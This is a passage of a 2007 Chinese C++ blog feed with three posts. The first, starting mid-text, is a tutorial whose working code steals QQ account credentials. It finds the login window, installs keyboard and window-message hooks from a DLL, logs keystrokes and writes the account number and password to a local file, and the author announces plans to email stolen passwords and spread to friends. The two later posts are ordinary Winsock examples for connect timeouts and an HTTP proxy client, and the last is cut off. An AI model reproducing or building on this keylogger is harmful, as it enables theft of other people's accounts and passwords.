href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆界面，这样基本上只要用户打开了<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆界面就会被抓住其句柄，看下面代码： <br><br>#define ID_MYTIMER 555 <br>SetTimer(hDlg, ID_MYTIMER, 1000, NULL); <br><br>　　安装好TIMER后，下面是处理主<a class=a_link href="http://www.xker.com/article/articlelist/article_5_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>程序</font></u></a>的WM_TIMER消息，凡是出现没有定义的变量，您可以理解为是全局变量. <br><br>//处理WM_TIMER代码 <br><br>if (!IsWindow(g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login)) //判断g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login是否是有效的窗口句柄 <br>{ <br>　HWND hLogin=NULL; <br>　g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login = NULL; <br>　Set<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Hook(NULL); //参数为NULL是卸载HOOK，参数为句柄是安装句柄 <br>　do <br>　{ <br>　　//利用FindWindowEx查找<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口，具体参数意思请查MSDN <br>　　g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login=FindWindowEx(NULL,g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login,"#32770",NULL); //对话框的类都是#32770 <br>　　//找到类名是#32770后，再在其窗体内找一个具有&#8220; 登录<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>&#8221;的BUTTON按纽 <br>　　hLogin = FindWindowEx(g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login, NULL, "Button", " 登录<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>"); //这一句很关键，如果你的<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口上没有" 登录<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>"字样，那么获取密码将失败！ <br>　} <br><br>　while(g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login != NULL &amp;&amp; hLogin == NULL); //直到找到指定的窗口，即：<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口 <br>　　if (g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login != NULL) <br>　　{ <br>　　　Set<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Hook(g_h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login);//安装HOOK，此函数在DLL文件中 第二部分中介绍 <br>　　} <br>　} <br><br>　　上面就是查找<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口句柄的过程，从代码可以看出我用的方法：找一个其子窗体中有一个标题为&#8220; 登录<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>&#8221;的BUTTON的对话框（这句话说得有点饶口，这句话如果也看不懂，下面您不用看了：（） 我最开始是想利用 FindWindow(NULL,"<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>用户登陆窗口")来查找，但是我用Spy++看了<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口的标题并不是&#8220;<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>用户登陆窗口&#8221;，而是&#8220;乱码&#8221;，其中包含了回车键等特殊字符，于是我用了FindWindowEx(). <br><br>　　安装钩子 <br><br>　　找到了<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆窗口后，就成功了一半。 <br><br>　　下面是DLL文件中的安装HOOK的函数Set<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Hook(), 为什么要用DLL（动态连接库）？要去&#8220;钩&#8221;其他进程的消息，得让HOOK函数在DLL中，这样好映射到其地址空间中！ <br><br>BOOL WINAPI Set<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Hook(HWND h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login) <br>{ <br>　//获得登陆框的句柄 <br><br>　BOOL bRet = FALSE; <br>　if (h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login != NULL) <br>　{ <br>　　DWORD dwThreadID = GetWindowThreadProcessId(h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login, NULL); //这是什么意思？看MSDN <br>　　g_hNum = GetDlgItem(h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login, 138);//不同版本<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>，此处不一样！ 得到<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号的子窗口句柄 <br>　　g_hPsw = GetDlgItem(h<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>Login, 180); //不同版本<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>，此处不一样！得到<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码的子窗口句柄 <br>　　if (g_hNum == NULL) <br>　　{ <br>　　　MessageBox(NULL,"哭了，号码句柄都没有得到！","郁闷",0); <br>　　　return FALSE; <br>　　} <br>　　if(g_hPsw==NULL) <br>　　{ <br>　　　MessageBox(NULL,"哭了，密码句柄都没有得到！","郁闷",0); <br>　　　return FALSE; <br>　　} <br><br><br>　　分别键盘HOOK，和界面部分消息处理的HOOK <br><br>g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); <br>g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); <br>bRet = (g_hProc != NULL) &amp;&amp; (g_hKey != NULL); <br>} <br>else <br>{ <br>　// 卸载钩子 <br><br>　bRet = UnhookWindowsHookEx(g_hProc) &amp;&amp; UnhookWindowsHookEx(g_hKey); <br>　g_hProc = NULL; <br>　g_hKey = NULL; <br>　g_hNum = NULL; <br>} <br>return bRet; <br>} <br><br><br><br>　　上面是安装HOOK部分的代码，就这么简单，上面提到了CallWndProc，KeyboardProc是两个回调函数，是我第三部分要解释的钩子函数 <br><br>钩子函数的解释 <br><br>　　CallWndProc，KeyboardProc是两个回调函数的原型和具体代码如下： <br><br>// 钩子过程，监视&#8220;登陆&#8221;的命令消息 <br><br>LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) <br>{ <br>　CWPSTRUCT *p = (CWPSTRUCT *)lParam; <br><br>　// 捕获&#8220;登陆&#8221;按钮 <br><br>　if (p-&gt;message == WM_COMMAND &amp;&amp; p-&gt;wParam ==16032) <br>　　//下面个函数是我在第四部分介绍-&#8220;处理密码&#8221;部分会仔细说明 <br>　　//当用户点了登陆按钮，说明<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号码和<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码已经填写完毕，当然可以去获得密码了 <br><br>　　GetPasswrod(); <br>　　return CallNextHookEx(g_hProc, nCode, wParam, lParam); <br>} <br><br>// 键盘钩子过程，监视&#8220;登陆&#8221;的热键消息 <br><br>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) <br>{ <br>　// 捕获热键消息，记录键盘的按键盘过程,pmsg是PMSG类型的，i是全局Static类型的 <br>　pmsg[i].wParam =wParam; <br>　i++; <br>　if (wParam == VK_RETURN) //用户使用键盘&#8220;回车&#8221;来登陆，用户用了回车后，就可以可以去获得密码了 <br>　　GetPasswrod(); <br>　　return CallNextHookEx(g_hKey, nCode, wParam, lParam); <br>} <br><br><br>　　在明白了这两个钩子函数后就可以看后期是如何具体处理密码的了，这就是下面的第四部分内容 <br><br>　　处理密码 <br><br>　　如果您读到了此处，我想得暂停一会，先让我来帮你回忆一下前面提到的几个关键的变量 <br><br>　　第一个：<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号的子窗口句柄 g_hNum <br><br>　　第二个：<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码的子窗口句柄 g_hPsw //此部分暂时不使用，下面 <br><br>　　第三个：存键盘按键的 pmsg <br><br>　　上面三变量分别出现在第二部分和第三部分，都是全局共享（shared）变量 <br><br>　　<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码的子窗口句柄 g_hPsw 此部分暂时不使用，你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的，原因是无法通过那样去得到<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码，得处理按键消息 <br><br>void GetPasswrod() <br>{ <br>　//声明变量和初始化 <br><br>　HANDLE f; <br>　TCHAR num[13]; <br>　TCHAR psw[21]; <br>　TCHAR total[50]; <br>　int j; <br>　memset(num,0,sizeof(num)); <br>　memset(total,0,sizeof(total)); <br>　memset(psw,0,sizeof(psw)); <br>　DWORD dw; <br>　//得到<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号的内容，以为有的人的<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号是在登陆框有记录，其<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号并是用键盘输入的 <br>　GetWindowText(g_hNum,(LPSTR)num,sizeof(num)); <br>　//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用，无法这样获得密码 <br>　//提取出键盘记录,此内容也许全是密码，也许是<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号+<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码 <br>　for(j=0;j&lt;20;j++) <br>　{ <br>　　psw[j]=(TCHAR)pmsg[j*2].wParam ; <br>　} <br>　psw[j+1]=&#8217;/0&#8217;; <br><br>　//把<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>号码和<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>密码写入C盘password.txt中 <br><br>f=CreateFile("c://password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); <br><br>　strcat(total,"号码"); <br>　strcat(total,num); <br>　strcat(total,"密码:"); <br>　strcat(total,psw); <br>　WriteFile(f,&amp;total,sizeof(total),&amp;dw,NULL); <br>　CloseHandle(f); <br>} <br><br>　　最后在C盘password.txt也许会出现这样两种情况： <br><br>　　1）当<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><font color=#0000ff>QQ</font></a>号是没有用输入，而已用的粘贴或者是电脑以前有记录则是：号码：21728812密码：TEST <br><br>　　2) 当<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><font color=#0000ff>QQ</font></a>号是用的键盘输入，电脑没有<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><font color=#0000ff>QQ</font></a>号记录时则是： 号码：21728812密码：21728812TEST <br><br>　　可以看出，第2种情况把<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><font color=#0000ff>QQ</font></a>当成了密码了，所以密码还得减去<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><font color=#0000ff>QQ</font></a>号， <br><br>　　特别说明：我这样直接处理wParam参数，得到的字符密码全是大写的，具体大小写问题我没有就没有仔细去处理的，功能实现就行了，毕竟我使用他不用来盗密码的！ <br><br>　　上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量，没有提到的函数如：GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API，详细使用说明请查MSDN（http://www.msdn.com),我提到的&#8220;HOOK&#8221;，&#8220;钩子&#8221;是同一个意思，也许有的地方我说的钩子函数，而另外一个地方说的是HOOK函数 <br><br>　　特别说明：上面有具体的运行文件，由于小弟并没有考虑到更多细节，我只是用了&#8220;理想&#8221;状况下去获得密码，并且或的密码后并没有注重后期密码处理，也许出现密码大小写不符合或是无法得到密码，请大家千万别笑话，我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理，和希望和大侠们交流 ！ <br><br>　　后期如果有必要的话，我准备进行改版，按照&#8220;真正&#8221;的<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>&#8220;木马&#8221;来写，如：对<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>版本进行识别，密码自动发送到E-MAIL,加入<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>尾巴代码，使其自动传给好友的等功能！ <br></div>
<img src ="http://www.cppblog.com/niewenlong/aggbug/27469.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-04 11:34 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/04/27469.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Socket中如何设置连接超时</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/04/27468.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Wed, 04 Jul 2007 03:31:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/04/27468.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/27468.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/04/27468.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/27468.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/27468.html</trackback:ping><description><![CDATA[　　设置connect的超时很简单，CSDN上也有人提到过使用select，但却没有一个令人满意与完整的答案。偶所讲的也正是select函数，此函数集成在winsock1.1中，简单点讲，"作用使那些想避免在套接字调用过程中被锁定的应用程序，采取一种有序的方式，同时对多个套接字进行管理"(《Windows网络编程技术》原话)。使用方法与解释请见《Windows网络编程技术》。<br>　　在使用此函数前，需先将socket设置为非锁定模式，这样，在connect时，才会立马跳过，同时，通常也会产生一个WSAEWOULDBLOCK错误，这个错误没关系。再执行select则是真正的超时。<br><br>WSADATA wsd;<br>SOCKET cClient;<br>int ret;<br>struct sockaddr_in server;<br>hostent *host=NULL;<br><br>if(WSAStartup(MAKEWORD(2,0),&amp;wsd)){return 0;}<br>cClient=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);<br>if(cClient==INVALID_SOCKET){return 0;}<br>//set Recv and Send time out<br>int TimeOut=6000; //设置发送超时6秒<br>if(::setsockopt(cClient,SOL_SOCKET,SO_SNDTIMEO,(char *)&amp;TimeOut,sizeof(TimeOut))==SOCKET_ERROR){<br>return 0;<br>}<br>TimeOut=6000;//设置接收超时6秒<br>if(::setsockopt(cClient,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;TimeOut,sizeof(TimeOut))==SOCKET_ERROR){<br>return 0;<br>}<br>//设置非阻塞方式连接<br>unsigned long ul = 1;<br>ret = ioctlsocket(cClient, FIONBIO, (unsigned long*)&amp;ul);<br>if(ret==SOCKET_ERROR)return 0;<br><br>//连接<br>server.sin_family = AF_INET;<br>server.sin_port = htons(25);<br>server.sin_addr .s_addr = inet_addr((LPCSTR)pSmtp);<br>if(server.sin_addr.s_addr == INADDR_NONE){return 0;}<br><br>connect(cClient,(const struct sockaddr *)&amp;server,sizeof(server));<br><br>//select 模型，即设置超时<br>struct timeval timeout ;<br>fd_set r;<br><br>FD_ZERO(&amp;r);<br>FD_SET(cClient, &amp;r);<br>timeout.tv_sec = 15; //连接超时15秒<br>timeout.tv_usec =0;<br>ret = select(0, 0, &amp;r, 0, &amp;timeout);<br>if ( ret &lt;= 0 )<br>{<br>::closesocket(cClient);<br>return 0;<br>}<br>//一般非锁定模式套接比较难控制，可以根据实际情况考虑 再设回阻塞模式<br>unsigned long ul1= 0 ;<br>ret = ioctlsocket(cClient, FIONBIO, (unsigned long*)&amp;ul1);<br>if(ret==SOCKET_ERROR){<br>::closesocket (cClient);<br>return 0;<br>}<br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/27468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-04 11:31 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/04/27468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用VC++实现http代理</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/04/27467.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Wed, 04 Jul 2007 03:24:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/04/27467.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/27467.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/04/27467.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/27467.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/27467.html</trackback:ping><description><![CDATA[<div id=article><br><br>　　（1）一些基本变量 <br><br>SOCKET HTTPSocket; // 主socket <br>struct sockaddr_in SocketAddr; // address socket <br>struct sockaddr_in BindSocket; // for bind <br><br><br>int m_nRecvTimeout; // recieve timeout <br>int m_nSendTimeout; // send timeout <br><br>WSADATA wsaData; <br><br>// 要下载文件部分。好像在BindSocket.sin_addr.s_addr = inet_addr (strHost);时，只能使用ip地址，所以了。。。 <br><br>// 如果谁知道更好的方法，别忘了告诉我一下。 <br><br>CString strHost="111.111.111.111 "; <br>CString DownLoadAddress="http://www.aitenshi.com/bbs/images/"; <br>CString hostFile="logo.gif"; <br>int HttpPort=80; <br><br><br><br>　　（2）一些函数，用来取得http头，和获取文件大小 <br><br>int GetFileLength(char *httpHeader) <br>{ <br>CString strHeader; <br>int local; <br>strHeader=(CString)httpHeader; <br>local=strHeader.Find("Content-Length",0); <br>local+=16; <br>strHeader.Delete(0,local); <br>local=strHeader.Find("\r"); <br>strHeader.SetAt(local,'\0'); <br><br>char temp[30]; <br>strcpy(temp,strHeader.GetBuffer(strHeader.GetLength())); <br>return atoi(temp); <br>} <br><br>int GetHttpHeader(SOCKET sckDest,char *str) <br>{ <br>BOOL m_bResponsed=0; <br>int m_nResponseHeaderSize; <br><br>if(!m_bResponsed) <br>{ <br>char c = 0; <br>int nIndex = 0; <br>BOOL bEndResponse = FALSE; <br>while(!bEndResponse &amp;&amp; nIndex &lt; 1024) <br>{ <br>recv(sckDest,&amp;c,1,0); <br>str[nIndex++] = c; <br>if(nIndex &gt;= 4) <br>{ <br>if(str[nIndex - 4] == '\r' &amp;&amp; str[nIndex - 3] == '\n' <br>&amp;&amp; str[nIndex - 2] == '\r' &amp;&amp; str[nIndex - 1] == '\n') <br>bEndResponse = TRUE; <br>} <br>} <br>m_nResponseHeaderSize = nIndex; <br>m_bResponsed = TRUE; <br>} <br><br>return m_nResponseHeaderSize; <br><br>} <br><br><br>　　（3）用来发送的部分 <br><br>void szcopy(char* dest,const char* src,int nMaxBytes) <br>{ <br>int i_cntr=0; <br>while ((src[i_cntr]!='\0') 　　 (i_cntr<nmaxbytes)) <br /> dest[i_cntr]=src[i_cntr++]; <br>dest[i_cntr]='\0'; <br>} <br><br>BOOL SocketSend(SOCKET sckDest,const char* szHttp) <br>{ <br><br>char szSendHeader[MAXHEADERLENGTH]; <br>int iLen=strlen(szHttp); <br>szcopy(szSendHeader,szHttp,iLen); <br>if(send (sckDest ,(const char FAR *)szSendHeader ,iLen ,0)==SOCKET_ERROR) <br>{ <br>closesocket(sckDest); <br>AfxMessageBox("Error when send"); <br>return FALSE; <br>} <br><br>return TRUE; <br>} <br><br>BOOL SocketSend(SOCKET sckDest,CString szHttp) <br>{ <br><br>int iLen=szHttp.GetLength(); <br>if(send (sckDest,szHttp,iLen,0)==SOCKET_ERROR) <br>{ <br>closesocket(sckDest); <br>AfxMessageBox("Error when send"); <br>return FALSE; <br>} <br><br>return TRUE; <br>} <br><br><br>　　（4）用于连接的函数 <br><br>　　这里是做了一些连接用的操作，分了两种情况 <br><br>　　1）如果没有使用代理，则直接连到你指定的计算机 <br><br>　　2）如果使用了代理，则直接连到代理 <br><br>BOOL CDLAngelDlg::ConnectHttp() <br>{ <br><br>message="正在建立连接\n"; <br><br><br>UpdateData(TRUE); <br>if(m_combo=="HTTP") // m_combo 一个下拉条 <br>{ <br>HTTPSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <br>SocketAddr.sin_addr.s_addr = inet_addr (m_ProxyAddr); <br>SocketAddr.sin_family=AF_INET; <br>SocketAddr.sin_port=htons(atoi(m_Port)); <br><br>struct fd_set fdSet; <br>struct timeval tmvTimeout={0L,0L}; <br><br>FD_ZERO(&amp;fdSet); <br>FD_SET(HTTPSocket, &amp;fdSet); <br><br>if (select(0,&amp;fdSet,NULL,NULL,&amp;tmvTimeout)==SOCKET_ERROR) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when select."); <br>return 0; <br>} <br><br><br>if (connect(HTTPSocket, (const struct sockaddr *)&amp;SocketAddr, sizeof(SocketAddr))==SOCKET_ERROR) <br>{ <br>message="\n代理连接失败\n"; <br>m_message.CleanText(); <br>m_message.AddText(message); <br>return 0; <br>} <br><br><br>// 发送CONNCET请求令到代理服务器，用于和代理建立连接 <br><br>//代理服务器的地址和端口放在m_ProxyAddr,m_Port 里面 <br><br>CString temp; <br>char tmpBuffer[1024]; <br>temp.Format("CONNECT %s:%s HTTP/1.1\r\nUser-Agent: MyApp/0.1\r\n\r\n",m_ProxyAddr,m_Port); <br>if(!SocketSend(HTTPSocket,temp)) <br>{ <br>message="连接代理失败"; <br>return 0; <br>} <br><br>// 取得代理响应，如果连接代理成功，代理服务器将返回200 Connection established <br><br>GetHttpHeader(HTTPSocket,tmpBuffer); <br>temp=tmpBuffer; <br>if(temp.Find("HTTP/1.0 200 Connection established",0)==-1) <br>{ <br>message="连接代理失败\n"; <br>return 0; <br>} <br><br>message="代理连接完成\n"; <br>m_message.AddText("代理连接完成\n"); <br>return 1; // ----------〉这里是应该注意的，连接到代理后，就可以返回了，不需要再连接网上的另外一台机，代理服务器会自动转发数据，所以，连接完代理就像连接到网上另外一台机一样 <br>} <br><br>// 这个，是为了给其他代理做准备 <br>else if(m_combo=="Socks4") <br>{MessageBox("请注意，现在无法使用代理功能！");} <br>else if(m_combo=="Socks5") <br>{MessageBox("请注意，现在无法使用代理功能！");} <br><br><br>// 如果没有使用代理，就要连接到网上的另一台机 <br><br>// 准备socket <br>HTTPSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <br><br>if (HTTPSocket==INVALID_SOCKET) <br>{ <br>AfxMessageBox("Error when socket"); <br>return 0; <br>} <br><br>//设置超时 <br>struct linger zeroLinger; <br>zeroLinger.l_onoff = 1; <br>zeroLinger.l_linger = 0; <br>if(setsockopt(HTTPSocket,SOL_SOCKET,SO_LINGER <br>,(const char *)&amp;zeroLinger <br>,sizeof(zeroLinger))!=0) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when setscokopt(LINGER)"); <br>return 0; <br>} <br>//设置接收超时 <br>if(setsockopt(HTTPSocket,SOL_SOCKET,SO_RCVTIMEO <br>,(const char *)&amp;m_nRecvTimeout <br>,sizeof(m_nRecvTimeout))!=0) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when setsockopt(RCVTIME)."); <br>return 0; <br>} <br><br>//设置发送超时 <br>if(setsockopt(HTTPSocket,SOL_SOCKET,SO_SNDTIMEO <br>,(const char *)&amp;m_nSendTimeout <br>,sizeof(m_nSendTimeout))!=0) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when setsockopt(SNDTIMEO)."); <br>return 0; <br>} <br><br><br>SocketAddr.sin_addr.s_addr = htonl (INADDR_ANY); <br>SocketAddr.sin_family=AF_INET; <br><br>// 进行端口绑定 <br>if (bind (HTTPSocket, <br>(const struct sockaddr FAR *)&amp;SocketAddr, <br>sizeof(SocketAddr))==SOCKET_ERROR) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when bind socket."); <br>return 0; <br>} <br><br>//准备连接 <br><br>/// 准备连接信息 <br>BindSocket.sin_addr.s_addr = inet_addr (strHost); <br>BindSocket.sin_family=AF_INET; <br>BindSocket.sin_port=htons(HttpPort); <br><br><br>struct fd_set fdSet; <br>struct timeval tmvTimeout={0L,0L}; <br><br>FD_ZERO(&amp;fdSet); <br>FD_SET(HTTPSocket, &amp;fdSet); <br><br>if (select(0,&amp;fdSet,NULL,NULL,&amp;tmvTimeout)==SOCKET_ERROR) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("Error when select."); <br>return 0; <br>} <br><br>// 连接 <br><br><br>if (connect(HTTPSocket, (const struct sockaddr *)&amp;BindSocket, sizeof(BindSocket))==SOCKET_ERROR) <br>{ <br>AfxMessageBox("第一次连接失败，准备第二次连接"); <br>if (connect(HTTPSocket <br>,(const struct sockaddr *)&amp;BindSocket <br>,sizeof(BindSocket))==SOCKET_ERROR) <br>{ <br>closesocket(HTTPSocket); <br>AfxMessageBox("连接失败"); <br>return 0; <br>} <br><br>} <br><br>message="连接完成\n"; <br><br>return 1; <br>} <br><br><br>　　（5）发送http请求，为下载数据进行准备 <br><br>int CDLAngelDlg::SendHttpHeader() <br>{ <br>//进行下载 <br><br>CString temp; <br>BOOL bReturn; <br>char tmpBuffer[MAXBLOCKSIZE]; <br><br><br>///第1行:方法,请求的路径,版本 <br>temp="GET "+DownLoadAddress+hostFile+" HTTP/1.0\r\n"; <br>bReturn=SocketSend(HTTPSocket,temp); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br><br>///第2行:主机 <br>temp="Host "+strHost+"\r\n"; <br>bReturn=SocketSend(HTTPSocket,temp); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br><br>///第3行:接收的数据类型 <br>bReturn=SocketSend(HTTPSocket,"Accept: */*\r\n"); <br>if(!bReturn) <br>{ 